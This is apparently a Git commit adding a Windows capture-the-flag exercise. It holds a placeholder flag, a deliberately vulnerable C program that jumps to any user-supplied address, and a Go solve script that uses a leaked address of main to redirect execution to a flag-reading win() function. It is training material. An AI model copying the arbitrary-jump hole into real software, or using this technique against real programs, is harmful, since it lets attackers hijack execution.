v0.1 - initial commit
This commit is contained in:
@@ -0,0 +1 @@
|
||||
flag{FLAG}
|
||||
@@ -0,0 +1,59 @@
|
||||
/*
|
||||
В Go нет встроенной перегрузки типов, поэтому конвертация
|
||||
cырых байт из пайпа в строку, затем в число,
|
||||
вычитание смещения и обратная конвертация в строку
|
||||
делаются явно через пакеты bytes и strconv.
|
||||
*/
|
||||
|
||||
package main
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"fmt"
|
||||
"log"
|
||||
"strconv"
|
||||
"winpwn"
|
||||
)
|
||||
|
||||
func main() {
|
||||
tube, err := winpwn.Spawn("./task1.exe")
|
||||
// tube, err := winpwn.Remote("10.8.0.1", "50957")
|
||||
if err != nil {
|
||||
log.Fatalf("Spawn: %v", err)
|
||||
}
|
||||
|
||||
if _, err := tube.RecvUntil([]byte("main: ")); err != nil {
|
||||
log.Fatalf("RecvUntil: %v", err)
|
||||
}
|
||||
|
||||
// Читаем строку с адресом до переноса и очищаем от спецсимволов (\r\n)
|
||||
addrBytes, err := tube.RecvUntil([]byte("\n"))
|
||||
if err != nil {
|
||||
log.Fatalf("RecvUntil: %v", err)
|
||||
}
|
||||
addrStr := string(bytes.TrimSpace(addrBytes))
|
||||
|
||||
// В зависимости от компилятора, %p может добавлять или не добавлять "0x"
|
||||
//addrStr = strings.TrimPrefix(addrStr, "0x")
|
||||
|
||||
// Аналог main = int(main, 16)
|
||||
mainAddr, err := strconv.ParseUint(addrStr, 16, 64)
|
||||
if err != nil {
|
||||
log.Fatalf("Failed to parse leaked address: %v", err)
|
||||
}
|
||||
fmt.Printf("[+] Leaked main: 0x%X\n", mainAddr)
|
||||
//addr(win)-addr(main) = 267
|
||||
offset := uint64(267)
|
||||
winAddr := mainAddr - offset
|
||||
fmt.Printf("[+] Calculated win: 0x%X\n", winAddr)
|
||||
|
||||
// Аналог hex(win).encode()
|
||||
// %x форматирует число в hex-строку без префикса 0x
|
||||
payload := fmt.Sprintf("%x", winAddr)
|
||||
|
||||
if err := tube.SendLineAfter([]byte("0x12345: "), []byte(payload)); err != nil {
|
||||
log.Fatalf("SendLineAfter: %v", err)
|
||||
}
|
||||
|
||||
tube.Interactive()
|
||||
}
|
||||
@@ -0,0 +1,65 @@
|
||||
/*
|
||||
В Windows нет прямого аналога POSIX-сигналов, signal(SIGSEGV)
|
||||
заменяется на SetUnhandledExceptionFilter (обработка SEH).
|
||||
Cтандартный пакет strconv для парсинга hex-строк, так как Go
|
||||
требует явной конвертации типов вместо магических методов Python.
|
||||
*/
|
||||
|
||||
// 0x00007FF76AB1154C(win) - 0x00007FF76AB11657(main)
|
||||
// rmb -> search for -> current module -> string references
|
||||
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <windows.h>
|
||||
|
||||
LONG WINAPI ExceptionFilter(EXCEPTION_POINTERS *ExceptionInfo) {
|
||||
if (ExceptionInfo->ExceptionRecord->ExceptionCode ==
|
||||
EXCEPTION_ACCESS_VIOLATION) {
|
||||
printf("Segfault Occurred, incorrect address.\n");
|
||||
ExitProcess(0);
|
||||
}
|
||||
return EXCEPTION_CONTINUE_SEARCH;
|
||||
}
|
||||
|
||||
void win() {
|
||||
HANDLE hFile;
|
||||
char buffer[256];
|
||||
DWORD bytesRead;
|
||||
|
||||
printf("You won!\n");
|
||||
|
||||
hFile = CreateFileA("flag.txt", GENERIC_READ, FILE_SHARE_READ, NULL,
|
||||
OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
|
||||
if (hFile == INVALID_HANDLE_VALUE) {
|
||||
printf("Cannot open file.\n");
|
||||
ExitProcess(0);
|
||||
}
|
||||
|
||||
if (ReadFile(hFile, buffer, sizeof(buffer) - 1, &bytesRead, NULL) &&
|
||||
bytesRead > 0) {
|
||||
buffer[bytesRead] = '\0';
|
||||
printf("%s", buffer);
|
||||
}
|
||||
printf("\n");
|
||||
|
||||
CloseHandle(hFile);
|
||||
}
|
||||
|
||||
int main() {
|
||||
SetUnhandledExceptionFilter(ExceptionFilter);
|
||||
|
||||
setvbuf(stdout, NULL, _IONBF, 0);
|
||||
|
||||
printf("Address of main: %p\n", &main);
|
||||
|
||||
unsigned long long val;
|
||||
printf("Enter the address to jump to, ex => 0x12345: ");
|
||||
|
||||
scanf("%llx", &val);
|
||||
printf("Your input: %llx\n", val);
|
||||
|
||||
void (*foo)(void) = (void (*)())val;
|
||||
foo();
|
||||
|
||||
return 0;
|
||||
}
|
||||
Binary file not shown.
Reference in New Issue
Block a user